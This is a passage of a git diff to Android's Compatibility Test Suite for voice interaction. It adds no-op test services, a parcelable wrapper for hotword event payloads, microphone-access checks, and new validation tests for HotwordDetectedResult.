         while (value > 0) {
             bits++;
diff --git a/tests/tests/voiceinteraction/service/Android.bp b/tests/tests/voiceinteraction/service/Android.bp
index 4aee259..f90a5b4 100644
--- a/tests/tests/voiceinteraction/service/Android.bp
+++ b/tests/tests/voiceinteraction/service/Android.bp
@@ -32,3 +32,18 @@
     ],
     sdk_version: "test_current",
 }
+
+// A test service that doesn't define RecognitionService
+android_test_helper_app {
+    name: "CtsNoRecognitionVoiceInteractionService",
+    defaults: ["cts_support_defaults"],
+    srcs: ["noRecognitionVoiceInteractionService/**/*.java"],
+    resource_dirs: ["noRecognitionVoiceInteractionService/res"],
+    manifest: "noRecognitionVoiceInteractionService/AndroidManifest.xml",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
\ No newline at end of file
diff --git a/tests/tests/voiceinteraction/service/AndroidManifest.xml b/tests/tests/voiceinteraction/service/AndroidManifest.xml
index e47d30b..087a833 100644
--- a/tests/tests/voiceinteraction/service/AndroidManifest.xml
+++ b/tests/tests/voiceinteraction/service/AndroidManifest.xml
@@ -18,8 +18,18 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.voiceinteraction.service">
 
-    <application>
+    <application android:label="Voice service">
       <uses-library android:name="android.test.runner" />
+      <service android:name="android.voiceinteraction.service.NoOpVoiceInteractionService"
+              android:label="NoOpVoiceInteractionService has recognition"
+              android:permission="android.permission.BIND_VOICE_INTERACTION"
+              android:exported="true">
+          <meta-data android:name="android.voice_interaction"
+                     android:resource="@xml/has_recognition_interaction_service" />
+          <intent-filter>
+              <action android:name="android.service.voice.VoiceInteractionService" />
+          </intent-filter>
+      </service>
       <service android:name=".MainInteractionService"
               android:label="CTS test voice interaction service"
               android:permission="android.permission.BIND_VOICE_INTERACTION"
diff --git a/tests/tests/voiceinteraction/service/noRecognitionVoiceInteractionService/AndroidManifest.xml b/tests/tests/voiceinteraction/service/noRecognitionVoiceInteractionService/AndroidManifest.xml
new file mode 100644
index 0000000..44cd725
--- /dev/null
+++ b/tests/tests/voiceinteraction/service/noRecognitionVoiceInteractionService/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.voiceinteraction.norecognition">
+
+    <application android:label="no recognition service">
+      <uses-library android:name="android.test.runner"/>
+        <service android:name="android.voiceinteraction.norecognition.NoOpVoiceInteractionService"
+                 android:label="NoOpVoiceInteractionService no recognition"
+                 android:permission="android.permission.BIND_VOICE_INTERACTION"
+                 android:process=":interactor"
+                 android:exported="true">
+            <meta-data android:name="android.voice_interaction"
+                       android:resource="@xml/interaction_no_recognition_service"/>
+            <intent-filter>
+                <action android:name="android.service.voice.VoiceInteractionService"/>
+            </intent-filter>
+        </service>
+        <activity android:name="android.voiceinteraction.norecognition.NoOpActivity"
+                  android:theme="@android:style/Theme.NoDisplay"
+                  android:excludeFromRecents="true"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.ASSIST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/tests/tests/voiceinteraction/service/noRecognitionVoiceInteractionService/res/xml/interaction_no_recognition_service.xml b/tests/tests/voiceinteraction/service/noRecognitionVoiceInteractionService/res/xml/interaction_no_recognition_service.xml
new file mode 100644
index 0000000..260062a
--- /dev/null
+++ b/tests/tests/voiceinteraction/service/noRecognitionVoiceInteractionService/res/xml/interaction_no_recognition_service.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<voice-interaction-service xmlns:android="http://schemas.android.com/apk/res/android"
+    android:sessionService="android.voiceinteraction.service.MainInteractionSessionService"
+    android:supportsAssist="true"
+    android:supportsLocalInteraction="true"/>
\ No newline at end of file
diff --git a/tests/tests/voiceinteraction/service/noRecognitionVoiceInteractionService/src/android/voiceinteraction/norecognition/NoOpActivity.java b/tests/tests/voiceinteraction/service/noRecognitionVoiceInteractionService/src/android/voiceinteraction/norecognition/NoOpActivity.java
new file mode 100644
index 0000000..0790c16
--- /dev/null
+++ b/tests/tests/voiceinteraction/service/noRecognitionVoiceInteractionService/src/android/voiceinteraction/norecognition/NoOpActivity.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.norecognition;
+
+import android.app.Activity;
+
+/**
+ * A Activity that received android.intent.action.ASSIST but do nothing for testing.
+ */
+public final class NoOpActivity extends Activity {
+}
\ No newline at end of file
diff --git a/tests/tests/voiceinteraction/service/noRecognitionVoiceInteractionService/src/android/voiceinteraction/norecognition/NoOpVoiceInteractionService.java b/tests/tests/voiceinteraction/service/noRecognitionVoiceInteractionService/src/android/voiceinteraction/norecognition/NoOpVoiceInteractionService.java
new file mode 100644
index 0000000..93ac526
--- /dev/null
+++ b/tests/tests/voiceinteraction/service/noRecognitionVoiceInteractionService/src/android/voiceinteraction/norecognition/NoOpVoiceInteractionService.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.norecognition;
+
+import android.service.voice.VoiceInteractionService;
+
+/**
+ * A {@link VoiceInteractionService} without implementation that is used for role changing testing.
+ */
+public class NoOpVoiceInteractionService extends VoiceInteractionService {
+    // do nothing
+}
\ No newline at end of file
diff --git a/tests/tests/voiceinteraction/service/res/xml/has_recognition_interaction_service.xml b/tests/tests/voiceinteraction/service/res/xml/has_recognition_interaction_service.xml
new file mode 100644
index 0000000..5957aeb
--- /dev/null
+++ b/tests/tests/voiceinteraction/service/res/xml/has_recognition_interaction_service.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<voice-interaction-service xmlns:android="http://schemas.android.com/apk/res/android"
+    android:sessionService="android.voiceinteraction.service.MainInteractionSessionService"
+    android:recognitionService="android.voiceinteraction.service.MainRecognitionService"
+    android:settingsActivity="android.voiceinteraction.service.SettingsActivity"
+    android:supportsAssist="true"/>
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/BasicVoiceInteractionService.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/BasicVoiceInteractionService.java
index bf9f167..337d017 100644
--- a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/BasicVoiceInteractionService.java
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/BasicVoiceInteractionService.java
@@ -16,9 +16,13 @@
 
 package android.voiceinteraction.service;
 
+import static android.Manifest.permission.CAPTURE_AUDIO_HOTWORD;
+import static android.Manifest.permission.RECORD_AUDIO;
+
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 
 import android.Manifest;
+import android.app.UiAutomation;
 import android.content.Intent;
 import android.media.AudioFormat;
 import android.os.ParcelFileDescriptor;
@@ -35,6 +39,7 @@
 import android.voiceinteraction.common.Utils;
 
 import androidx.annotation.NonNull;
+import androidx.test.platform.app.InstrumentationRegistry;
 
 import java.io.IOException;
 import java.io.OutputStream;
@@ -75,6 +80,10 @@
             return START_NOT_STICKY;
         }
 
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        // Drop any identity adopted earlier.
+        uiAutomation.dropShellPermissionIdentity();
+
         final int testEvent = intent.getIntExtra(Utils.KEY_TEST_EVENT, -1);
         Log.i(TAG, "testEvent = " + testEvent);
         if (testEvent == Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_TEST) {
@@ -87,15 +96,15 @@
         } else if (testEvent == Utils.VIS_HOLD_BIND_HOTWORD_DETECTION_PERMISSION_TEST) {
             runWithShellPermissionIdentity(() -> callCreateAlwaysOnHotwordDetector());
         } else if (testEvent == Utils.HOTWORD_DETECTION_SERVICE_DSP_ONDETECT_TEST) {
-            runWithShellPermissionIdentity(() -> {
-                if (mAlwaysOnHotwordDetector != null) {
-                    mAlwaysOnHotwordDetector.triggerHardwareRecognitionEventForTest(/* status */ 0,
-                            /* soundModelHandle */ 100, /* captureAvailable */ true,
-                            /* captureSession */ 101, /* captureDelayMs */ 1000,
-                            /* capturePreambleMs */ 1001, /* triggerInData */ true,
-                            createFakeAudioFormat(), new byte[1024]);
-                }
-            });
+            // need to retain the identity until the callback is triggered
+            uiAutomation.adoptShellPermissionIdentity(RECORD_AUDIO, CAPTURE_AUDIO_HOTWORD);
+            if (mAlwaysOnHotwordDetector != null) {
+                mAlwaysOnHotwordDetector.triggerHardwareRecognitionEventForTest(/* status */ 0,
+                        /* soundModelHandle */ 100, /* captureAvailable */ true,
+                        /* captureSession */ 101, /* captureDelayMs */ 1000,
+                        /* capturePreambleMs */ 1001, /* triggerInData */ true,
+                        createFakeAudioFormat(), new byte[1024]);
+            }
         } else if (testEvent == Utils.HOTWORD_DETECTION_SERVICE_DSP_ONREJECT_TEST) {
             runWithShellPermissionIdentity(() -> {
                 if (mAlwaysOnHotwordDetector != null) {
@@ -107,27 +116,29 @@
                 }
             });
         } else if (testEvent == Utils.HOTWORD_DETECTION_SERVICE_EXTERNAL_SOURCE_ONDETECT_TEST) {
-            runWithShellPermissionIdentity(() -> {
-                if (mAlwaysOnHotwordDetector != null) {
-                    ParcelFileDescriptor audioStream = createFakeAudioStream();
-                    if (audioStream != null) {
-                        mAlwaysOnHotwordDetector.startRecognition(
-                                audioStream,
-                                createFakeAudioFormat(),
-                                createFakePersistableBundleData());
-                    }
+            uiAutomation.adoptShellPermissionIdentity(RECORD_AUDIO, CAPTURE_AUDIO_HOTWORD);
+            if (mAlwaysOnHotwordDetector != null) {
+                ParcelFileDescriptor audioStream = createFakeAudioStream();
+                if (audioStream != null) {
+                    mAlwaysOnHotwordDetector.startRecognition(
+                            audioStream,
+                            createFakeAudioFormat(),
+                            createFakePersistableBundleData());
                 }
-            });
+            }
         } else if (testEvent == Utils.HOTWORD_DETECTION_SERVICE_FROM_SOFTWARE_TRIGGER_TEST) {
             runWithShellPermissionIdentity(() -> {
                 mSoftwareHotwordDetector = callCreateSoftwareHotwordDetector();
             }, Manifest.permission.MANAGE_HOTWORD_DETECTION);
         } else if (testEvent == Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST) {
-            runWithShellPermissionIdentity(() -> {
-                if (mSoftwareHotwordDetector != null) {
-                    mSoftwareHotwordDetector.startRecognition();
-                }
-            });
+            uiAutomation.adoptShellPermissionIdentity(RECORD_AUDIO, CAPTURE_AUDIO_HOTWORD);
+            if (mSoftwareHotwordDetector != null) {
+                mSoftwareHotwordDetector.startRecognition();
+            }
+        } else if (testEvent == Utils.HOTWORD_DETECTION_SERVICE_CALL_STOP_RECOGNITION) {
+            if (mSoftwareHotwordDetector != null) {
+                mSoftwareHotwordDetector.stopRecognition();
+            }
         } else if (testEvent == Utils.HOTWORD_DETECTION_SERVICE_PROCESS_DIED_TEST) {
             runWithShellPermissionIdentity(() -> {
                 if (mAlwaysOnHotwordDetector != null) {
@@ -148,12 +159,14 @@
     public void onDestroy() {
         super.onDestroy();
         closeFakeAudioStream();
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
     }
 
     private AlwaysOnHotwordDetector callCreateAlwaysOnHotwordDetector() {
         Log.i(TAG, "callCreateAlwaysOnHotwordDetector()");
         try {
-            return createAlwaysOnHotwordDetector(/* keyphrase */ "Hello Google",
+            return createAlwaysOnHotwordDetector(/* keyphrase */ "Hello Android",
                     Locale.forLanguageTag("en-US"),
                     createFakePersistableBundleData(),
                     createFakeSharedMemoryData(),
@@ -168,11 +181,12 @@
                             Log.i(TAG, "onDetected");
                             broadcastIntentWithResult(
                                     Utils.HOTWORD_DETECTION_SERVICE_ONDETECT_RESULT_INTENT,
-                                    eventPayload.getHotwordDetectedResult());
+                                    new EventPayloadParcelable(eventPayload));
                         }
 
                         @Override
                         public void onRejected(@NonNull HotwordRejectedResult result) {
+                            super.onRejected(result);
                             Log.i(TAG, "onRejected");
                             broadcastIntentWithResult(
                                     Utils.HOTWORD_DETECTION_SERVICE_ONDETECT_RESULT_INTENT,
@@ -199,8 +213,16 @@
 
                         @Override
                         public void onHotwordDetectionServiceInitialized(int status) {
+                            super.onHotwordDetectionServiceInitialized(status);
+                            Log.i(TAG, "onHotwordDetectionServiceInitialized");
                             verifyHotwordDetectionServiceInitializedStatus(status);
                         }
+
+                        @Override
+                        public void onHotwordDetectionServiceRestarted() {
+                            super.onHotwordDetectionServiceRestarted();
+                            Log.i(TAG, "onHotwordDetectionServiceRestarted");
+                        }
                     });
         } catch (IllegalStateException e) {
             Log.w(TAG, "callCreateAlwaysOnHotwordDetector() exception: " + e);
@@ -228,7 +250,7 @@
                             Log.i(TAG, "onDetected");
                             broadcastIntentWithResult(
                                     Utils.HOTWORD_DETECTION_SERVICE_ONDETECT_RESULT_INTENT,
-                                    eventPayload.getHotwordDetectedResult());
+                                    new EventPayloadParcelable(eventPayload));
                         }
 
                         @Override
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/EventPayloadParcelable.aidl b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/EventPayloadParcelable.aidl
new file mode 100644
index 0000000..5b39db1
--- /dev/null
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/EventPayloadParcelable.aidl
@@ -0,0 +1,19 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.service;
+
+parcelable EventPayloadParcelable;
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/EventPayloadParcelable.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/EventPayloadParcelable.java
new file mode 100644
index 0000000..a127ecb
--- /dev/null
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/EventPayloadParcelable.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.service;
+
+import android.os.Parcel;
+import android.os.ParcelFileDescriptor;
+import android.os.Parcelable;
+import android.service.voice.AlwaysOnHotwordDetector;
+import android.service.voice.HotwordDetectedResult;
+
+public class EventPayloadParcelable implements Parcelable {
+    public final HotwordDetectedResult mHotwordDetectedResult;
+    public final ParcelFileDescriptor mAudioStream;
+
+    private EventPayloadParcelable(Parcel in) {
+        int flg = in.readInt();
+        this.mHotwordDetectedResult =
+                (flg & 0x2) == 0 ? null : (HotwordDetectedResult) in.readTypedObject(
+                        HotwordDetectedResult.CREATOR);
+        this.mAudioStream = (flg & 0x4) == 0 ? null : (ParcelFileDescriptor) in.readTypedObject(
+                ParcelFileDescriptor.CREATOR);
+    }
+
+    public EventPayloadParcelable(AlwaysOnHotwordDetector.EventPayload eventPayload) {
+        if (eventPayload == null) {
+            this.mHotwordDetectedResult = null;
+            this.mAudioStream = null;
+            return;
+        }
+        this.mHotwordDetectedResult = eventPayload.getHotwordDetectedResult();
+        this.mAudioStream = eventPayload.getAudioStream();
+    }
+
+    @Override
+    public int describeContents() {
+        return 0;
+    }
+
+    @Override
+    public String toString() {
+        return "EventPayloadParcelable { " +
+                "hotwordDetectedResult = " + mHotwordDetectedResult + ", " +
+                "audioStream = " + mAudioStream +
+                " }";
+    }
+
+    @Override
+    public void writeToParcel(Parcel out, int flags) {
+        int flg = 0;
+        if (mHotwordDetectedResult != null) flg |= 0x2;
+        if (mAudioStream != null) flg |= 0x4;
+
+        out.writeInt(flg);
+        if (mHotwordDetectedResult != null) {
+            out.writeTypedObject(mHotwordDetectedResult, flags);
+        }
+        if (mAudioStream != null) {
+            out.writeTypedObject(mAudioStream, flags);
+        }
+    }
+
+    public static final Parcelable.Creator<EventPayloadParcelable> CREATOR =
+            new Parcelable.Creator<EventPayloadParcelable>() {
+
+                @Override
+                public EventPayloadParcelable createFromParcel(Parcel in) {
+                    return new EventPayloadParcelable(in);
+                }
+
+                @Override
+                public EventPayloadParcelable[] newArray(int size) {
+                    return new EventPayloadParcelable[size];
+                }
+            };
+}
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java
index b23d0ae..d63dc3d 100644
--- a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/MainHotwordDetectionService.java
@@ -16,7 +16,14 @@
 
 package android.voiceinteraction.service;
 
+import static android.media.AudioFormat.CHANNEL_IN_FRONT;
+
+import android.media.AudioAttributes;
 import android.media.AudioFormat;
+import android.media.AudioRecord;
+import android.media.MediaRecorder;
+import android.os.Handler;
+import android.os.Looper;
 import android.os.ParcelFileDescriptor;
 import android.os.PersistableBundle;
 import android.os.Process;
@@ -37,24 +44,62 @@
 import java.io.InputStream;
 import java.util.function.IntConsumer;
 
+import javax.annotation.concurrent.GuardedBy;
+
 public class MainHotwordDetectionService extends HotwordDetectionService {
     static final String TAG = "MainHotwordDetectionService";
 
-    // TODO: Fill in the remaining fields.
     public static final HotwordDetectedResult DETECTED_RESULT =
             new HotwordDetectedResult.Builder()
+                    .setAudioChannel(CHANNEL_IN_FRONT)
                     .setConfidenceLevel(HotwordDetectedResult.CONFIDENCE_LEVEL_HIGH)
+                    .setHotwordDetectionPersonalized(true)
+                    .setHotwordDurationMillis(1000)
+                    .setHotwordOffsetMillis(500)
+                    .setHotwordPhraseId(5)
+                    .setPersonalizedScore(10)
+                    .setScore(15)
+                    .build();
+    public static final HotwordDetectedResult DETECTED_RESULT_AFTER_STOP_DETECTION =
+            new HotwordDetectedResult.Builder()
+                    .setScore(57)
+                    .build();
+    public static final HotwordDetectedResult DETECTED_RESULT_FOR_MIC_FAILURE =
+            new HotwordDetectedResult.Builder()
+                    .setScore(58)
                     .build();
     public static final HotwordRejectedResult REJECTED_RESULT =
             new HotwordRejectedResult.Builder()
                     .setConfidenceLevel(HotwordRejectedResult.CONFIDENCE_LEVEL_MEDIUM)
                     .build();
 
+    private Handler mHandler;
+    @NonNull
+    private final Object mLock = new Object();
+
+    @GuardedBy("mLock")
+    private boolean mStopDetectionCalled;
+
+    @GuardedBy("mLock")
+    @Nullable
+    private Runnable mDetectionJob;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mHandler = Handler.createAsync(Looper.getMainLooper());
+    }
+
     @Override
     public void onDetect(@NonNull AlwaysOnHotwordDetector.EventPayload eventPayload,
             long timeoutMillis, @NonNull Callback callback) {
         Log.d(TAG, "onDetect for DSP source");
 
+        if (!canReadAudio()) {
+            callback.onDetected(DETECTED_RESULT_FOR_MIC_FAILURE);
+            return;
+        }
+
         // TODO: Check the capture session (needs to be reflectively accessed).
         byte[] data = eventPayload.getTriggerAudio();
         if (data != null && data.length > 0) {
@@ -135,7 +180,40 @@
     @Override
     public void onDetect(@NonNull Callback callback) {
         Log.d(TAG, "onDetect for Mic source");
-        callback.onDetected(DETECTED_RESULT);
+        synchronized (mLock) {
+            if (mDetectionJob != null) {
+                throw new IllegalStateException("onDetect called while already detecting");
+            }
+            if (!mStopDetectionCalled) {
+                // Delaying this allows us to test other flows, such as stopping detection. It's
+                // also more realistic to schedule it onto another thread.
+                mDetectionJob = () -> {
+                    Log.d(TAG, "Sending detected result");
+
+                    if (canReadAudio()) {
+                        callback.onDetected(DETECTED_RESULT);
+                    } else {
+                        callback.onDetected(DETECTED_RESULT_FOR_MIC_FAILURE);
+                    }
+                };
+                mHandler.postDelayed(mDetectionJob, 1500);
+            } else {
+                Log.d(TAG, "Sending detected result after stop detection");
+                // We can't store and use this callback in onStopDetection (not valid anymore there), so
+                // instead we trigger detection again to report the event.
+                callback.onDetected(DETECTED_RESULT_AFTER_STOP_DETECTION);
+            }
+        }
+    }
+
+    @Override
+    public void onStopDetection() {
+        super.onStopDetection();
+        synchronized (mLock) {
+            mHandler.removeCallbacks(mDetectionJob);
+            mDetectionJob = null;
+            mStopDetectionCalled = true;
+        }
     }
 
     @Override
@@ -144,6 +222,7 @@
             @Nullable SharedMemory sharedMemory,
             long callbackTimeoutMillis,
             @Nullable IntConsumer statusCallback) {
+        super.onUpdateState(options, sharedMemory, callbackTimeoutMillis, statusCallback);
         Log.d(TAG, "onUpdateState");
 
         if (options != null) {
@@ -193,4 +272,53 @@
         }
         return true;
     }
+
+    private boolean canReadAudio() {
+        int bytesPerSample = 2; // for ENCODING_PCM_16BIT
+        int sampleRate = 16000;
+        int bytesPerSecond = bytesPerSample * sampleRate; // for single channel
+        AudioRecord record =
+                new AudioRecord.Builder()
+                        .setAudioAttributes(
+                                new AudioAttributes.Builder()
+                                        .setInternalCapturePreset(MediaRecorder.AudioSource.HOTWORD)
+                                        .build())
+                        .setAudioFormat(
+                                new AudioFormat.Builder()
+                                        .setChannelMask(AudioFormat.CHANNEL_IN_MONO)
+                                        .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                                        .setSampleRate(sampleRate)
+                                        .build())
+                        .setBufferSizeInBytes(bytesPerSecond)
+                        .build();
+        if (record.getState() != AudioRecord.STATE_INITIALIZED) {
+            Log.e(TAG, "Failed to initialize AudioRecord");
+            record.release();
+            return false;
+        }
+
+        record.startRecording();
+        try {
+            byte[] buffer = new byte[bytesPerSecond]; // read 1 second of audio
+            int numBytes = 0;
+            while (numBytes < buffer.length) {
+                int bytesRead =
+                        record.read(buffer, numBytes, Math.min(1024, buffer.length - numBytes));
+                if (bytesRead < 0) {
+                    Log.e(TAG, "Error reading from mic: " + bytesRead);
+                    return false;
+                }
+                numBytes += bytesRead;
+            }
+            for (byte b : buffer) {
+                // TODO: Maybe check that some portion of the bytes are non-zero.
+                if (b != 0) {
+                    return true;
+                }
+            }
+            return false;
+        } finally {
+            record.release();
+        }
+    }
 }
diff --git a/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/NoOpVoiceInteractionService.java b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/NoOpVoiceInteractionService.java
new file mode 100644
index 0000000..8e23102
--- /dev/null
+++ b/tests/tests/voiceinteraction/service/src/android/voiceinteraction/service/NoOpVoiceInteractionService.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voiceinteraction.common;
+
+import android.service.voice.VoiceInteractionService;
+
+/**
+ * A {@link VoiceInteractionService} without implementation that is used for role changing testing.
+ */
+public class NoOpVoiceInteractionService extends VoiceInteractionService {
+    // do nothing
+}
\ No newline at end of file
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectedResultTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectedResultTest.java
index 81254fdb..7e7bf3c 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectedResultTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectedResultTest.java
@@ -44,9 +44,10 @@
     public void testHotwordDetectedResult_totalSize() throws Exception {
         final int bitsForConfidenceLevel = Utils.bitCount(
                 HotwordDetectedResult.CONFIDENCE_LEVEL_VERY_HIGH);
-        final int bitsForHotwordOffsetMillis = Integer.SIZE;
-        final int bitsForHotwordDurationMillis = Integer.SIZE;
-        final int bitsForAudioChannel = Integer.SIZE;
+        final int bitsForHotwordOffsetMillis = Utils.bitCount(Utils.LIMIT_HOTWORD_OFFSET_MAX_VALUE);
+        final int bitsForHotwordDurationMillis = Utils.bitCount(
+                AudioRecord.getMaxSharedAudioHistoryMillis());
+        final int bitsForAudioChannel = Utils.bitCount(Utils.LIMIT_AUDIO_CHANNEL_MAX_VALUE);
         final int bitsForHotwordDetectionPersonalized = 1;
         final int bitsForScore = Utils.bitCount(HotwordDetectedResult.getMaxScore());
         final int bitsForPersonalizedScore = Utils.bitCount(HotwordDetectedResult.getMaxScore());
@@ -127,6 +128,28 @@
     }
 
     @Test
+    public void testHotwordDetectedResult_setInvalidHotwordOffsetMillis() throws Exception {
+        assertThrows(IllegalArgumentException.class,
+                () -> new HotwordDetectedResult.Builder().setHotwordOffsetMillis(
+                        HotwordDetectedResult.HOTWORD_OFFSET_UNSET - 1).build());
+
+        assertThrows(IllegalArgumentException.class,
+                () -> new HotwordDetectedResult.Builder().setHotwordOffsetMillis(
+                        Utils.LIMIT_HOTWORD_OFFSET_MAX_VALUE + 1).build());
+    }
+
+    @Test
+    public void testHotwordDetectedResult_setInvalidAudioChannel() throws Exception {
+        assertThrows(IllegalArgumentException.class,
+                () -> new HotwordDetectedResult.Builder().setAudioChannel(
+                        HotwordDetectedResult.AUDIO_CHANNEL_UNSET - 1).build());
+
+        assertThrows(IllegalArgumentException.class,
+                () -> new HotwordDetectedResult.Builder().setAudioChannel(
+                        Utils.LIMIT_AUDIO_CHANNEL_MAX_VALUE + 1).build());
+    }
+
+    @Test
     public void testHotwordDetectedResultBuilder() throws Exception {
         final HotwordDetectedResult hotwordDetectedResult =
                 buildHotwordDetectedResult(
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java
index 513fee8..dbc5a4f 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/HotwordDetectionServiceBasicTest.java
@@ -16,21 +16,47 @@
 
 package android.voiceinteraction.cts;
 
+import static android.content.pm.PackageManager.FEATURE_MICROPHONE;
+
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assert.assertEquals;
+
+import android.app.Instrumentation;
+import android.app.compat.CompatChanges;
 import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.media.AudioAttributes;
+import android.media.AudioFormat;
+import android.media.AudioRecord;
+import android.media.MediaRecorder;
+import android.os.ParcelFileDescriptor;
 import android.os.Parcelable;
+import android.os.Process;
 import android.platform.test.annotations.AppModeFull;
+import android.provider.DeviceConfig;
